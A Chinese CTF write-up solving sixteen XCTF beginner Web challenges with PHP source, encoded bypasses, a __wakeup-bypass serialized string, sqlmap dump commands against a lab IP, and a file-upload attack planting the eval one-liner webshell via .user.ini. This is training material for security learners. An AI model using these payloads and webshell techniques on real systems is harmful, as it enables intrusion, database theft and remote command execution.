攻防世界-Web1

1.Training-WWW-Robots

网站中的robots.txt文件是用于声明该网站中不想被爬虫访问的部分文件,但同样的,它可能会造成敏感信息泄露

我们直接访问/robots.txt,看见一个/fl0g.php

直接进入/fl0g.php,得到flag

2.PHP2

打开题目环境以及源码啥也没看见,这种情况可以通过扫描器扫描目录查看是否存在隐藏文件或是手动尝试常见的几个

这里先手动尝试index.php

依旧什么也没有,但是说明index.php文件是存在的,我们尝试index.phps

注1:phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("admin"===$_GET[id]) { #判断get请求接收到的id参数是否与admin完全一致
echo("<p>not allowed!</p>"); #条件成立则输出“not allowed!”
exit(); #退出
}

$_GET[id] = urldecode($_GET[id]); #将接收到的id参数进行url解码
if($_GET[id] == "admin") #判断id参数是否与admin相等
{
echo "<p>Access granted!</p>"; #输出“Access granted!”
echo "<p>Key: xxxxxxx </p>"; #输出key
}
?>

Can you anthenticate to this website?

分析上述代码,我们知道id参数不能直接传入“admin”,需要传入url编码后的admin:

1
%61%64%6d%69%6e

注2:url编码实际上就是字符的16进制编码前加上%

但在实际传入时,一次url编码后的admin是无法成功传入的,因为url栏在输入时会进行一次url解码,也就是说我们实际上需要进行两次url编码:

1
%2561%2564%256d%2569%256e

成功得到flag:

3.unserialize3

这题主要考察的是php的反序列化,需要很多前置知识,可以先跳过

这里有一篇其他师傅推荐的博客:

php 反序列化总结_throw new error php反序列化-CSDN博客

打开环境看到一串代码:

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){ #触发__wakeup魔术方法就会退出并且输出“bad requests”
exit('bad requests');
}
}

代码只有那么多,既然触发__wakeup会退出,那么就想办法不触发,绕过它

已知程序在进行反序列化时会直接调用wakeup(),但对象属性个数的值大于真实值的时候会跳过wakeup()

首先复制该代码,新建一个它的对象,序列化并输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class xctf
{
public $flag = '111';

public function __wakeup()
{
exit('bad requests');
}
}
$a = new xctf();
echo serialize($a);
?>

得到序列化字符串:

1
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

然后随便修改一个属性个数,我这里把O:4改成了O:5

1
O:5:"xctf":1:{s:4:"flag";s:3:"111";}

通过题目给出的“?code=”提交参数得到flag

4.ics-06

题目描述:

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

打开题目是一个工控管理系统

但是整个系统只有一个地方可以点进去

而且这个地方只有id这一个参数可控

没啥思路,看了下wp,直接bp抓包爆破

爆到id=2333的时候得到flag

5.view_source

直接F12,得到flag

6.get_post

在firefox的扩展中添加hackbar插件

点击load加载url,根据提示在url栏添加?a=1传入a

再点击Use POST method,在Body栏中添加b=2,点击EXECUTE执行,得到flag

7.robots

又是一个robots

直接robots.txt

进入f1ag_1s_h3re.php,拿到flag.php

8.backup

打开环境看到要我们找备份文件,是个信息泄露题

直接拿dirsearch扫描目录

下载链接:

GitHub - maurosoria/dirsearch: Web path scanner

直连要是连不上可以多等一会,多刷新几次,或者翻墙连

下载好后在dirsearch目录打开cmd(右键,点击在终端中打开)或者打开cmd后进入dirsearch目录(推荐前者)

使用方式:

1
python .\dirsearch.py -u http://xxx.xxx.xxx.xxx/ -e php

注2:-u后接的是url,-e后加上php表示使用自带的字典扫描扩展名为php的目录(其他食用方法请百度,这条命令可以应付目前阶段的大部分目录扫描的题目)

注3:这个工具要求在python环境下运行,也就是说你电脑得装了python

扫喵结果得到了“/index.php.bak”这个备份文件

在url上加上“/index.php.bak”后回车会直接下载,用记事本打开得到flag

所谓“cookie”数据是指某些网站为了辨别用户身份,储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。

概括一下就是用户的临时登录凭证,它记录了一个用户的身份信息,和身份证差不多

这个题目要求我们查看cookie,有两种方式,一种是浏览器打开开发者工具,打开“网络”一栏,然后刷新页面查看

另一种是用bp抓包查看

这里看到给了一个叫“cookie.php”的文件名,进去后提示我们“See the http response”(看http的响应)

依旧是两种方式,一种开发者工具的“网络”

一种是bp抓包后,acttion,send to repeater,然后点击左上角send发包,查看响应包

10.disabled_button

这个题目是一些前端小知识

F12,然后找到按钮代码的位置

删掉”disabled“就可以按下了

11.weak_auth

这个题目考的是弱口令,正常情况下,一般是bp抓包然后用弱口令字典爆破,

但这个题目的口令有多弱呢,就是说我做的时候第一遍手输,最常见的管理员账户“admin”和最常见的口令“123456”,直接就进去了,甚至没来得及打开bp

还是来演示一遍正常的爆破吧

大多数爆破题用户名都是admin,基本没跑

打开bp抓包,然后send to intruder,点payloads,其他不动,直接点load…来导入自己的字典,网上随便找一个top1000的弱口令字典就行

(下面哪个“add from list”是bp自带的字典,翻了一下好像没123456就没用)

爆破后筛选响应包长度,得到flag

12.simple_php

这个题目考的是php的弱比较

php的弱比较是不严格的比较

弱比较对数据的类型要求并不严格,可以让数据类型互相转换。

== (弱比较)和 ===(强比较)的区别

==:先将字符串类型转化成相同,再比较
===:先判断两种字符串的类型是否相等,再比较

字符串和数字比较使用==时,字符串会先转换为数字类型再比较,若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串(例如”aaa”是不能转换为数字的字符串,而”123”或”123aa”就是可以转换为数字的字符串)或null,则转换为0

这个题目给a赋值”0”、a、0a都能绕过去,因为这几个值在弱比较转换的时候都变成0了

然后给b后面加个[]把b定义成数组,数组在is_numeric()函数检查的时候并不是数字,但是在弱比较的时候会被转化成数字

13.baby_web

乍看还是没啥东西

题目提示:想想初始页面是哪个

初始页面一般都是index.php

在尝试进入index.php的时候没有报错,只是重新回到了1.php

这说明index.php是存在的,而且在进入index.php的一瞬间就被跳转回了1.php

这个时候我们可以用bp抓包或者使用开发者工具查看

这里懒得抓包了,直接用开发者工具,在index.php的响应头里面看到了flag

14.inget

这题进去只提示了个输入id

也没其他入口,那就是get传参了

但是不管输什么都没有回显

稍微看了下wp是sql注入,试试直接拿sqlmap梭哈

注4:sqlmap是一款自动化sql注入工具

注5:kali里面自带sqlmap

首先在-u后面添加上可能存在注入的url,然后使用–dbs参数获取数据库名

1
sqlmap -u http://61.147.171.105:55189/?id=1 --dbs

然后得到了以下几个数据库:

1
2
3
4
[*] cyber
[*] information_schema
[*] mysql
[*] test

除了第一个都是mysql自带的数据库,不用管

然后用-D参数指定数据库,用–tables参数获取该数据库的表:

1
sqlmap -u http://61.147.171.105:55189/?id=1 -D cyber --tables

这里得到了cyber这张表

再使用-T参数指定表名,使用–columns获取字段名

1
sqlmap -u http://61.147.171.105:55189/?id=1 -D cyber -T cyber --columns

这里得到了user,id,pw三个字段

猜测flag在pw字段中,使用-C指定字段名,–dump参数获取字段内容

1
sqlmap -u http://61.147.171.105:55189/?id=1 -D cyber -T cyber -C pw --dump

得到flag

sqlmap基础命令👉sqlmap基础命令

15.easyupload

文件上传题,难度相对较高

首先来科普以下什么是一句话木马

在php中,有个危险函数@eval(),它会将收到的参数当作命令执行

如果说有个页面的代码是这样的:

1
<?php @eval($_POST[a]);?>

那么这个页面就可以通过上传post参数的方式执行任意命令

那如果说这个页面是人为上传的呢?通过上传这种一句话木马而后执行任意命令的漏洞,我们叫做文件上传漏洞

这个题目直接上传一句话木马时是会被拦截的

我们需要先上传一个名为“.user.ini”配置文件

注6:.user.ini:用户配置文件  auto_prepndend_file–指定在每个PHP页面执行前所要执行的代码。

注7:GIF89a是jpg图片的文件头,用来欺骗服务器这是一个jpg文件的

注8:“auto_prepndend_file”后面的“a.jpg”是后面将要上传的木马的文件名

注9:扩展名是jpg,png等图片扩展名的木马我们叫做图片马,只是扩展名改了,文件的内容还是一样的

bp抓包,然后修改Content-Type的值为image/jpeg,同样是用来欺骗服务器的,告诉服务器这个文件的类型是jpg

上传成功,“uploads/.user.ini”是文件上传的位置

然后上传一句话木马

注10:一句话木马有很多种形式,有些常见的会被过滤,这种情况可以换一种木马

木马上传成功

打开蚁剑,添加数据,输入木马的路径

这里有一个需要注意的点是我们使用的是“.user.ini”配置文件来实现图片马上传的,我们需要连接木马上传目录的“index.php”文件而不是连接”a.jpg”这个木马

注11:其他方式连接的文件路径一般都是木马本身

注12:连接密码就是可以用来上传的参数名字,就像$_POST[‘a’]其中a就是密码

双击打开,从左边的目录列表进入根目录

找到flag

16.fileinclude

打开题目提示了flag.php

进去看看

是白的,又看到说有个index.php,源码里发现一串代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if( !ini_get('display_errors') ) {
ini_set('display_errors', 'On');
}
error_reporting(E_ALL);
$lan = $_COOKIE['language']; #接收来自cookie的language参数
if(!$lan)
{
@setcookie("language","english");
@include("english.php");
}
else
{
@include($lan.".php"); #包含$lan.php文件
}
$x=file_get_contents('index.php');
echo $x;
?>

我们可以看出cookie中存在文件包含

直接包含失败,尝试php伪协议,包含成功

解码,得到flag